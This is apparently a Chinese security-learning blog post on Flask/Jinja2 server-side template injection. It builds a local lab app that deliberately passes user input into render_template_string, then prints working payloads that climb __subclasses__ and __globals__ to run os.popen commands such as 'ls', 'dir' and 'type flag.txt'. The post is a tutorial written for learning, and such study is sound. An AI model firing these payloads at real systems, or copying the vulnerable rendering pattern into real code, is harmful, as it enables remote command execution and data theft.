flask之ssti模板注入初窥

前言

许久没有更博了,大脑快要生锈了。以后需要每天都写写博,和大家分享一下我的学习心得。这么久没学过新的知识了。那么今天我们来学习一下新的漏洞,开始一场新的征程。学习一下ssti模板注入,其实这个之前一直都有想学来着。不过因为一些其它的事而被搁置了。之前确实对这个模板注入有什么概念。毕竟咱也不是搞python flask开发的。那么通过这篇文章我们一起来学习一下。

ssti漏洞原理

ssti主要为python的一些框架jinja2,mako,tornado,django,PHP框架smarty,twig,java框架jade,velocity等等使用了渲染函数,而在使用渲染函数的时候,由于代码不规范或信任了用户输入而导致了服务端模板注入,其实渲染函数本身并不存在漏洞,造成漏洞的主要原因是因为程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。

什么是模板

我们说了这么半天的模板注入,那到底什么是模板呢,模板其实只是一种提供给程序来解析的语法,是用于实现从数据到实际的视觉表现的一种手段。简单来说呢就是把数据塞到模板里,然后在模板里将塞进去的东西生成html的文本,返回给浏览器,这样做可以很快的展示出数据块,从而大大的提升了效率。而且这种手段无论是在前端还是在后端都会用得到。

前端渲染

前端渲染,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,从服务器得到后,由浏览器前端来解析渲染成html的人们可视化的代码,从而呈现在用户面前,主要渲染是在用户的客户端中完成。

后端渲染

后端渲染与前端渲染正好相反,浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的Html字符串,计算就是服务器后端经过解析服务器端的模板来完成的。主要任务是在服务端就已经完成的。

flask本地环境搭建

现在我们来在本地搭建flask环境,通过实例来进一步了解模板注入。

首先我们通过一个命令在dos窗口进行下载 pip install Flask 

若是出现这种情况

 

 

 告诉你需要升级版本,那么再使用命令 python -m pip install --upgrade pip 升级一下pip的版本即可

 

这就成功了。

route装饰器路由

 @app.route('/') 使用route装饰器是告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如

@app.route("/")
def hello_world():
    return "hello Flask!"

访问127.0.0.1:5000/则会输出hello Flask!,我们再来修改一下规则

@app.route("/login")
def login():
    
    return "hello Flask"

这个时候再访问127.0.0.1:5000/login会输出hello Flask。

main入口

当.py文件被直接运行时, if name=='main' 之下的代码块将被运行;当.py文件以模块形式被导入时, if name=='main' 之下的代码块不被运行。就好像是在朋友眼中,你是小明(name == ‘小明’);在你自己眼中,你是你自己(name == ‘main‘)。

if __name__=="__main__":
    app.run(debug=True)

这样我们修改代码的时候直接保存,网页刷新就可以了,如果不加debug,那么每次修改代码都要运行一次程序,并且把前一个程序关闭。否则会被前一个程序覆盖。

模板渲染(重点)

我们渲染模板的话,可以通过两个方法 render_template() 和 render_template_string() 

render_template:用来渲染一个指定的template文件夹下的一个文件

render_template_string:用来渲染一个字符串。

我们通过两个简单的实例来看一下

render_template

 1 from flask import Flask
 2 from flask import render_template
 3 app=Flask(__name__)
 4 @app.route("/")
 5 def hello_world():
 6     return "hello Flask!"
 7 
 8 @app.route("/login")
 9 def login():
10     
11     return render_template("login.html")
12 
13 if __name__=="__main__":
14     app.run(debug=True)

我们在templates文件夹里有一个login.html

这个模板渲染体系是render_template函数渲染templates中的模板,也就是我们创建的login.html。这个模板就是我们自己写的html,里面的参数需要我们根据每个用户需求传入动态变量。

通过大佬文章中的一个架构可以更清楚的了解,现在把这个体系结构放在下面

├── app.py  
├── static  
│   └── style.css  
└── templates  
    └── login.html

login.html文件在templates文件夹中

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <meta http-equiv="X-UA-Compatible" content="IE=edge">
 6     <meta name="viewport" content="width=device-width, initial-scale=1.0">
 7     <title>Document</title>
 8 </head>
 9 <body>
10     <h1>
11         this is login
12     </h1>
13 </body>
14 </html>

然后我们访问 127.0.0.1:5000/login 

render_template_string

我们给出代码

 1 from flask import Flask
 2 from flask import render_template
 3 from flask import render_template_string
 4 
 5 app=Flask(__name__)
 6 @app.route("/")
 7 def hello_world():
 8     return "hello Flask!"
 9 
10 @app.route("/login")
11 def login():
12     
13     html='''
14     <h1> this is login page </h1>
15     ''' 
16     return render_template_string(html)
17 
18 if __name__=="__main__":
19     app.run(debug=True)

这样直接进行访问就可

 

 

 

 

 

 

 

flask实战

魔术方法

我们来介绍一些我们常用的魔术方法

1 __class__ 返回类型所属的对象
2 __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
3 __base__ 返回该对象所继承的基类
4 // __base__和__mro__都是用来寻找基类的
5 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
6 __init__类的初始化方法
7 __globals__对包含函数全局变量的字典的引用

语法

1 {%...%}:    用于语句
2 {{…}}:    用于表达式,对其进行解析,并打印到模板输出
3 {{#...#}}:    用于注释

漏洞利用

下面我用我本地搭建的环境来复现一道题

首先给出代码

 1 from flask import Flask
 2 from flask import render_template
 3 from flask import render_template_string
 4 from flask import request
 5 app=Flask(__name__)
 6  7  8    
 9 
10 @app.route("/login")
11 def login():
12     username=request.args.get("name")
13     html='''
14     <h1> this is login page %s</h1>
15     '''%(username)
16     return render_template_string(html)
17 
18 if __name__=="__main__":
19     app.run(debug=True)

然后访问127.0.0.1:5000/login

 

 

 呈现出这种效果

当我们访问页面的时候,py代码通过requests.args.get来获取’name’的值赋给username,然后生成html,然后render_template_string来渲染网页。这个时候我们就是进行模板注入,就是将一串指令代替变量传入模板中让它执行。

当我们传参的时候需要使用{{}}来进行包裹,那我们先传入一个表达式试一下 ?name={{4*50}} 

 

 他会就这样显示出来。然后我们试一下 {{config}} //显示配置文件 

 

 然后我们就一步一步来进行了

利用魔术方法

 ?name={{"".__class__}}  获取字符串的类对象

 

  ?name={{"".__class__.__mro__}} 寻找基类 

 

  "".__class__.__mro__[1].__subclasses__() 寻找可用引用 

 

 

发现会用很多的类。这样我们就需要从中找到os相关模块,脚本如下:

lists=["<class 'type'>"," <class 'weakref'>"," <class 'weakcallableproxy'>"," <class 'weakproxy'>"," <class 'int'>"," <class 'bytearray'>"," <class 'bytes'>"," <class 'list'>"," <class 'NoneType'>"," <class 'NotImplementedType'>"," <class 'traceback'>"," <class 'super'>"," <class 'range'>"," <class 'dict'>"," <class 'dict_keys'>"," <class 'dict_values'>"," <class 'dict_items'>"," <class 'dict_reversekeyiterator'>"," <class 'dict_reversevalueiterator'>"," <class 'dict_reverseitemiterator'>"," <class 'odict_iterator'>"," <class 'set'>"," <class 'str'>"," <class 'slice'>"," <class 'staticmethod'>"," <class 'complex'>"," <class 'float'>"," <class 'frozenset'>"," <class 'property'>"," <class 'managedbuffer'>"," <class 'memoryview'>"," <class 'tuple'>"," <class 'enumerate'>"," <class 'reversed'>"," <class 'stderrprinter'>"," <class 'code'>"," <class 'frame'>"," <class 'builtin_function_or_method'>"," <class 'method'>"," <class 'function'>"," <class 'mappingproxy'>"," <class 'generator'>"," <class 'getset_descriptor'>"," <class 'wrapper_descriptor'>"," <class 'method-wrapper'>"," <class 'ellipsis'>"," <class 'member_descriptor'>"," <class 'types.SimpleNamespace'>"," <class 'PyCapsule'>"," <class 'longrange_iterator'>"," <class 'cell'>"," <class 'instancemethod'>"," <class 'classmethod_descriptor'>"," <class 'method_descriptor'>"," <class 'callable_iterator'>"," <class 'iterator'>"," <class 'pickle.PickleBuffer'>"," <class 'coroutine'>"," <class 'coroutine_wrapper'>"," <class 'InterpreterID'>"," <class 'EncodingMap'>"," <class 'fieldnameiterator'>"," <class 'formatteriterator'>"," <class 'BaseException'>"," <class 'hamt'>"," <class 'hamt_array_node'>"," <class 'hamt_bitmap_node'>"," <class 'hamt_collision_node'>"," <class 'keys'>"," <class 'values'>"," <class 'items'>"," <class 'Context'>"," <class 'ContextVar'>"," <class 'Token'>"," <class 'Token.MISSING'>"," <class 'moduledef'>"," <class 'module'>"," <class 'filter'>"," <class 'map'>"," <class 'zip'>"," <class '_frozen_importlib._ModuleLock'>"," <class '_frozen_importlib._DummyModuleLock'>"," <class '_frozen_importlib._ModuleLockManager'>"," <class '_frozen_importlib.ModuleSpec'>"," <class '_frozen_importlib.BuiltinImporter'>"," <class 'classmethod'>"," <class '_frozen_importlib.FrozenImporter'>"," <class '_frozen_importlib._ImportLockContext'>"," <class '_thread._localdummy'>"," <class '_thread._local'>"," <class '_thread.lock'>"," <class '_thread.RLock'>"," <class '_frozen_importlib_external.WindowsRegistryFinder'>"," <class '_frozen_importlib_external._LoaderBasics'>"," <class '_frozen_importlib_external.FileLoader'>"," <class '_frozen_importlib_external._NamespacePath'>"," <class '_frozen_importlib_external._NamespaceLoader'>"," <class '_frozen_importlib_external.PathFinder'>"," <class '_frozen_importlib_external.FileFinder'>"," <class '_io._IOBase'>"," <class '_io._BytesIOBuffer'>"," <class '_io.IncrementalNewlineDecoder'>"," <class 'nt.ScandirIterator'>"," <class 'nt.DirEntry'>"," <class 'PyHKEY'>"," <class 'zipimport.zipimporter'>"," <class 'zipimport._ZipImportResourceReader'>"," <class 'codecs.Codec'>"," <class 'codecs.IncrementalEncoder'>"," <class 'codecs.IncrementalDecoder'>"," <class 'codecs.StreamReaderWriter'>"," <class 'codecs.StreamRecoder'>"," <class 'MultibyteCodec'>"," <class 'MultibyteIncrementalEncoder'>"," <class 'MultibyteIncrementalDecoder'>"," <class 'MultibyteStreamReader'>"," <class 'MultibyteStreamWriter'>"," <class '_abc_data'>"," <class 'abc.ABC'>"," <class 'dict_itemiterator'>"," <class 'collections.abc.Hashable'>"," <class 'collections.abc.Awaitable'>"," <class 'collections.abc.AsyncIterable'>"," <class 'async_generator'>"," <class 'collections.abc.Iterable'>"," <class 'bytes_iterator'>"," <class 'bytearray_iterator'>"," <class 'dict_keyiterator'>"," <class 'dict_valueiterator'>"," <class 'list_iterator'>"," <class 'list_reverseiterator'>"," <class 'range_iterator'>"," <class 'set_iterator'>"," <class 'str_iterator'>"," <class 'tuple_iterator'>"," <class 'collections.abc.Sized'>"," <class 'collections.abc.Container'>"," <class 'collections.abc.Callable'>"," <class 'os._wrap_close'>"," <class 'os._AddedDllDirectory'>"," <class '_sitebuiltins.Quitter'>"," <class '_sitebuiltins._Printer'>"," <class '_sitebuiltins._Helper'>"," <class 'types.DynamicClassAttribute'>"," <class 'types._GeneratorWrapper'>"," <class 'enum.auto'>"," <enum 'Enum'>"," <class 're.Pattern'>"," <class 're.Match'>"," <class '_sre.SRE_Scanner'>"," <class 'sre_parse.State'>"," <class 'sre_parse.SubPattern'>"," <class 'sre_parse.Tokenizer'>"," <class 'operator.itemgetter'>"," <class 'operator.attrgetter'>"," <class 'operator.methodcaller'>"," <class 'itertools.accumulate'>"," <class 'itertools.combinations'>"," <class 'itertools.combinations_with_replacement'>"," <class 'itertools.cycle'>"," <class 'itertools.dropwhile'>"," <class 'itertools.takewhile'>"," <class 'itertools.islice'>"," <class 'itertools.starmap'>"," <class 'itertools.chain'>"," <class 'itertools.compress'>"," <class 'itertools.filterfalse'>"," <class 'itertools.count'>"," <class 'itertools.zip_longest'>"," <class 'itertools.permutations'>"," <class 'itertools.product'>"," <class 'itertools.repeat'>"," <class 'itertools.groupby'>"," <class 'itertools._grouper'>"," <class 'itertools._tee'>"," <class 'itertools._tee_dataobject'>"," <class 'reprlib.Repr'>"," <class 'collections.deque'>"," <class '_collections._deque_iterator'>"," <class '_collections._deque_reverse_iterator'>"," <class '_collections._tuplegetter'>"," <class 'collections._Link'>"," <class 'functools.partial'>"," <class 'functools._lru_cache_wrapper'>"," <class 'functools.partialmethod'>"," <class 'functools.singledispatchmethod'>"," <class 'functools.cached_property'>"," <class 're.Scanner'>"," <class 'string.Template'>"," <class 'string.Formatter'>"," <class 'markupsafe._MarkupEscapeHelper'>"," <class 'warnings.WarningMessage'>"," <class 'warnings.catch_warnings'>"," <class 'zlib.Compress'>"," <class 'zlib.Decompress'>"," <class '_weakrefset._IterationGuard'>"," <class '_weakrefset.WeakSet'>"," <class 'threading._RLock'>"," <class 'threading.Condition'>"," <class 'threading.Semaphore'>"," <class 'threading.Event'>"," <class 'threading.Barrier'>"," <class 'threading.Thread'>"," <class '_bz2.BZ2Compressor'>"," <class '_bz2.BZ2Decompressor'>"," <class '_lzma.LZMACompressor'>"," <class '_lzma.LZMADecompressor'>"," <class '_sha512.sha384'>"," <class '_sha512.sha512'>"," <class '_random.Random'>"," <class 'weakref.finalize._Info'>"," <class 'weakref.finalize'>"," <class 'tempfile._RandomNameSequence'>"," <class 'tempfile._TemporaryFileCloser'>"," <class 'tempfile._TemporaryFileWrapper'>"," <class 'tempfile.SpooledTemporaryFile'>"," <class 'tempfile.TemporaryDirectory'>"," <class '_hashlib.HASH'>"," <class '_blake2.blake2b'>"," <class '_blake2.blake2s'>"," <class '_sha3.sha3_224'>"," <class '_sha3.sha3_256'>"," <class '_sha3.sha3_384'>"," <class '_sha3.sha3_512'>"," <class '_sha3.shake_128'>"," <class '_sha3.shake_256'>"," <class 'Struct'>"," <class 'unpack_iterator'>"," <class '_pickle.Unpickler'>"," <class '_pickle.Pickler'>"," <class '_pickle.Pdata'>"," <class '_pickle.PicklerMemoProxy'>"," <class '_pickle.UnpicklerMemoProxy'>"," <class 'pickle._Framer'>"," <class 'pickle._Unframer'>"," <class 'pickle._Pickler'>"," <class 'pickle._Unpickler'>"," <class 'urllib.parse._ResultMixinStr'>"," <class 'urllib.parse._ResultMixinBytes'>"," <class 'urllib.parse._NetlocResultMixinBase'>"," <class '_json.Scanner'>"," <class '_json.Encoder'>"," <class 'json.decoder.JSONDecoder'>"," <class 'json.encoder.JSONEncoder'>"," <class 'jinja2.utils.MissingType'>"," <class 'jinja2.utils.LRUCache'>"," <class 'jinja2.utils.Cycler'>"," <class 'jinja2.utils.Joiner'>"," <class 'jinja2.utils.Namespace'>"," <class 'jinja2.bccache.Bucket'>"," <class 'jinja2.bccache.BytecodeCache'>"," <class 'jinja2.nodes.EvalContext'>"," <class 'jinja2.nodes.Node'>"," <class 'jinja2.visitor.NodeVisitor'>"," <class 'jinja2.idtracking.Symbols'>"," <class '__future__._Feature'>"," <class 'jinja2.compiler.MacroRef'>"," <class 'jinja2.compiler.Frame'>"," <class 'jinja2.runtime.TemplateReference'>"," <class 'jinja2.runtime.Context'>"," <class 'jinja2.runtime.BlockReference'>"," <class 'jinja2.runtime.LoopContext'>"," <class 'jinja2.runtime.Macro'>"," <class 'jinja2.runtime.Undefined'>"," <class 'decimal.Decimal'>"," <class 'decimal.Context'>"," <class 'decimal.SignalDictMixin'>"," <class 'decimal.ContextManager'>"," <class 'numbers.Number'>"," <class '_ast.AST'>"," <class 'ast.NodeVisitor'>"," <class 'jinja2.lexer.Failure'>"," <class 'jinja2.lexer.TokenStreamIterator'>"," <class 'jinja2.lexer.TokenStream'>"," <class 'jinja2.lexer.Lexer'>"," <class 'jinja2.parser.Parser'>"," <class 'jinja2.environment.Environment'>"," <class 'jinja2.environment.Template'>"," <class 'jinja2.environment.TemplateModule'>"," <class 'jinja2.environment.TemplateExpression'>"," <class 'jinja2.environment.TemplateStream'>"," <class 'jinja2.loaders.BaseLoader'>"," <class 'selectors.BaseSelector'>"," <class '_socket.socket'>"," <class 'datetime.date'>"," <class 'datetime.timedelta'>"," <class 'datetime.time'>"," <class 'datetime.tzinfo'>"," <class 'dis.Bytecode'>"," <class 'tokenize.Untokenizer'>"," <class 'inspect.BlockFinder'>"," <class 'inspect._void'>"," <class 'inspect._empty'>"," <class 'inspect.Parameter'>"," <class 'inspect.BoundArguments'>"," <class 'inspect.Signature'>"," <class 'traceback.FrameSummary'>"," <class 'traceback.TracebackException'>"," <class 'logging.LogRecord'>"," <class 'logging.PercentStyle'>"," <class 'logging.Formatter'>"," <class 'logging.BufferingFormatter'>"," <class 'logging.Filter'>"," <class 'logging.Filterer'>"," <class 'logging.PlaceHolder'>"," <class 'logging.Manager'>"," <class 'logging.LoggerAdapter'>"," <class 'werkzeug._internal._Missing'>"," <class 'werkzeug._internal._DictAccessorProperty'>"," <class 'importlib.abc.Finder'>"," <class 'importlib.abc.Loader'>"," <class 'importlib.abc.ResourceReader'>"," <class 'contextlib.ContextDecorator'>"," <class 'contextlib._GeneratorContextManagerBase'>"," <class 'contextlib._BaseExitStack'>"," <class 'pkgutil.ImpImporter'>"," <class 'pkgutil.ImpLoader'>"," <class 'werkzeug.utils.HTMLBuilder'>"," <class 'werkzeug.exceptions.Aborter'>"," <class 'werkzeug.urls.Href'>"," <class 'socketserver.BaseServer'>"," <class 'socketserver.ThreadingMixIn'>"," <class 'socketserver.BaseRequestHandler'>"," <class 'calendar._localized_month'>"," <class 'calendar._localized_day'>"," <class 'calendar.Calendar'>"," <class 'calendar.different_locale'>"," <class 'email._parseaddr.AddrlistClass'>"," <class 'email.charset.Charset'>"," <class 'email.header.Header'>"," <class 'email.header._ValueFormatter'>"," <class 'email._policybase._PolicyBase'>"," <class 'email.feedparser.BufferedSubFile'>"," <class 'email.feedparser.FeedParser'>"," <class 'email.parser.Parser'>"," <class 'email.parser.BytesParser'>"," <class 'email.message.Message'>"," <class 'http.client.HTTPConnection'>"," <class '_ssl._SSLContext'>"," <class '_ssl._SSLSocket'>"," <class '_ssl.MemoryBIO'>"," <class '_ssl.Session'>"," <class 'ssl.SSLObject'>"," <class 'mimetypes.MimeTypes'>"," <class 'click._compat._FixupStream'>"," <class 'click._compat._AtomicFile'>"," <class 'CArgObject'>"," <class '_ctypes.CThunkObject'>"," <class '_ctypes._CData'>"," <class '_ctypes.CField'>"," <class '_ctypes.DictRemover'>"," <class '_ctypes.StructParam_Type'>"," <class 'ctypes.CDLL'>"," <class 'ctypes.LibraryLoader'>"," <class 'click._winconsole.ConsoleStream'>"," <class 'click._winconsole.WindowsChunkedWriter'>"," <class 'click.utils.LazyFile'>"," <class 'click.utils.KeepOpenFile'>"," <class 'click.utils.PacifyFlushWrapper'>"," <class 'click.parser.Option'>"," <class 'click.parser.Argument'>"," <class 'click.parser.ParsingState'>"," <class 'click.parser.OptionParser'>"," <class 'click.types.ParamType'>"," <class 'click.formatting.HelpFormatter'>"," <class 'click.core.Context'>"," <class 'click.core.BaseCommand'>"," <class 'click.core.Parameter'>"," <class 'werkzeug.serving.ForkingMixIn'>"," <class 'werkzeug.serving.WSGIRequestHandler'>"," <class 'werkzeug.serving._SSLContext'>"," <class 'werkzeug.serving.BaseWSGIServer'>"," <class 'werkzeug.datastructures.ImmutableListMixin'>"," <class 'werkzeug.datastructures.ImmutableDictMixin'>"," <class 'werkzeug.datastructures.UpdateDictMixin'>"," <class 'werkzeug.datastructures.ViewItems'>"," <class 'werkzeug.datastructures._omd_bucket'>"," <class 'werkzeug.datastructures.Headers'>"," <class 'werkzeug.datastructures.ImmutableHeadersMixin'>"," <class 'werkzeug.datastructures.IfRange'>"," <class 'werkzeug.datastructures.Range'>"," <class 'werkzeug.datastructures.ContentRange'>"," <class 'werkzeug.datastructures.FileStorage'>"," <class 'urllib.request.Request'>"," <class 'urllib.request.OpenerDirector'>"," <class 'urllib.request.BaseHandler'>"," <class 'urllib.request.HTTPPasswordMgr'>"," <class 'urllib.request.AbstractBasicAuthHandler'>"," <class 'urllib.request.AbstractDigestAuthHandler'>"," <class 'urllib.request.URLopener'>"," <class 'urllib.request.ftpwrapper'>"," <class 'werkzeug.wrappers.accept.AcceptMixin'>"," <class 'werkzeug.wrappers.auth.AuthorizationMixin'>"," <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>"," <class 'werkzeug.wsgi.ClosingIterator'>"," <class 'werkzeug.wsgi.FileWrapper'>"," <class 'werkzeug.wsgi._RangeWrapper'>"," <class 'werkzeug.formparser.FormDataParser'>"," <class 'werkzeug.formparser.MultiPartParser'>"," <class 'werkzeug.wrappers.base_request.BaseRequest'>"," <class 'werkzeug.wrappers.base_response.BaseResponse'>"," <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>"," <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>"," <class 'werkzeug.wrappers.etag.ETagRequestMixin'>"," <class 'werkzeug.wrappers.etag.ETagResponseMixin'>"," <class 'werkzeug.wrappers.cors.CORSRequestMixin'>"," <class 'werkzeug.wrappers.cors.CORSResponseMixin'>"," <class 'werkzeug.useragents.UserAgentParser'>"," <class 'werkzeug.useragents.UserAgent'>"," <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>"," <class 'werkzeug.wrappers.request.StreamOnlyMixin'>"," <class 'werkzeug.wrappers.response.ResponseStream'>"," <class 'werkzeug.wrappers.response.ResponseStreamMixin'>"," <class 'http.cookiejar.Cookie'>"," <class 'http.cookiejar.CookiePolicy'>"," <class 'http.cookiejar.Absent'>"," <class 'http.cookiejar.CookieJar'>"," <class 'werkzeug.test._TestCookieHeaders'>"," <class 'werkzeug.test._TestCookieResponse'>"," <class 'werkzeug.test.EnvironBuilder'>"," <class 'werkzeug.test.Client'>"," <class 'uuid.UUID'>"," <class 'itsdangerous._json._CompactJSON'>"," <class 'hmac.HMAC'>"," <class 'itsdangerous.signer.SigningAlgorithm'>"," <class 'itsdangerous.signer.Signer'>"," <class 'itsdangerous.serializer.Serializer'>"," <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>"," <class 'flask._compat._DeprecatedBool'>"," <class 'werkzeug.local.Local'>"," <class 'werkzeug.local.LocalStack'>"," <class 'werkzeug.local.LocalManager'>"," <class 'werkzeug.local.LocalProxy'>"," <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>"," <class 'dataclasses._MISSING_TYPE'>"," <class 'dataclasses._FIELD_BASE'>"," <class 'dataclasses.InitVar'>"," <class 'dataclasses.Field'>"," <class 'dataclasses._DataclassParams'>"," <class 'difflib.SequenceMatcher'>"," <class 'difflib.Differ'>"," <class 'difflib.HtmlDiff'>"," <class 'pprint._safe_key'>"," <class 'pprint.PrettyPrinter'>"," <class 'werkzeug.routing.RuleFactory'>"," <class 'werkzeug.routing.RuleTemplate'>"," <class 'werkzeug.routing.BaseConverter'>"," <class 'werkzeug.routing.Map'>"," <class 'werkzeug.routing.MapAdapter'>"," <class 'flask.signals.Namespace'>"," <class 'flask.signals._FakeSignal'>"," <class 'flask.helpers.locked_cached_property'>"," <class 'flask.helpers._PackageBoundObject'>"," <class 'flask.cli.DispatchingApp'>"," <class 'flask.cli.ScriptInfo'>"," <class 'flask.config.ConfigAttribute'>"," <class 'flask.ctx._AppCtxGlobals'>"," <class 'flask.ctx.AppContext'>"," <class 'flask.ctx.RequestContext'>"," <class 'flask.json.tag.JSONTag'>"," <class 'flask.json.tag.TaggedJSONSerializer'>"," <class 'flask.sessions.SessionInterface'>"," <class 'werkzeug.wrappers.json._JSONModule'>"," <class 'werkzeug.wrappers.json.JSONMixin'>"," <class 'flask.blueprints.BlueprintSetupState'>"," <class 'jinja2.ext.Extension'>"," <class 'jinja2.ext._CommentFinder'>"," <class 'codeop.Compile'>"," <class 'codeop.CommandCompiler'>"," <class 'code.InteractiveInterpreter'>"," <class 'werkzeug.debug.repr._Helper'>"," <class 'werkzeug.debug.repr.DebugReprGenerator'>"," <class 'werkzeug.debug.console.HTMLStringO'>"," <class 'werkzeug.debug.console.ThreadedStream'>"," <class 'werkzeug.debug.console._ConsoleLoader'>"," <class 'werkzeug.debug.console.Console'>"," <class 'werkzeug.debug.tbtools.Line'>"," <class 'werkzeug.debug.tbtools.Traceback'>"," <class 'werkzeug.debug.tbtools.Group'>"," <class 'werkzeug.debug.tbtools.Frame'>"," <class 'werkzeug.debug._ConsoleFrame'>"," <class 'werkzeug.debug.DebuggedApplication'>"," <class '_winapi.Overlapped'>"," <class 'subprocess.STARTUPINFO'>"," <class 'subprocess.CompletedProcess'>"," <class 'subprocess.Popen'>"," <class 'werkzeug._reloader.ReloaderLoop'>"," <class 'unicodedata.UCD'>"]
index=0
for i in lists:
    if "os" in i:
        print("{}:{}".format(index,i))
    index+=1

这是把所有的类都变成了一整个列表。然后从中找相关的os模块。跑一下脚本:

 

 有这么几个包含os模块的,前面的是索引

然后构造pyload:

{{''.__class__.__mro__[1].__subclasses__()[213].__init__.__globals__['os'].popen('ls').read()}}

 

 

?name={{%27%27.__class__.__mro__[1].__subclasses__()[213].__init__.__globals__[%27__builtins__%27][%27__import__%27](%27os%27).popen("dir").read()}}

因为我这个环境是在windwos系统下搭建的,所需命令也都是windows系统的命令。若是linux系统下搭建的话当用linux的命令。

我们这里有个flag.txt,这个是我提前创建的一个flag.txt这样就把目录全都扫出来了。接下来我们就要读取文件了。读取文件命令: type flag.txt 

Pyload:

?name={{%27%27.__class__.__mro__[1].__subclasses__()[213].__init__.__globals__[%27__builtins__%27][%27__import__%27](%27os%27).popen("type%20flag.txt").read()}}

 

 Ok那这个漏洞就复现成功了。

了解并掌握到这些之后,我们就可以继续做一些CTF平台中的相关题型或者是自己搭建一个靶场自己复现一下相关漏洞。

参考文献

flask之stti模板注入

 

posted @ 2021-03-28 19:25  AW_SOLE  阅读(648)  评论(0编辑  收藏  举报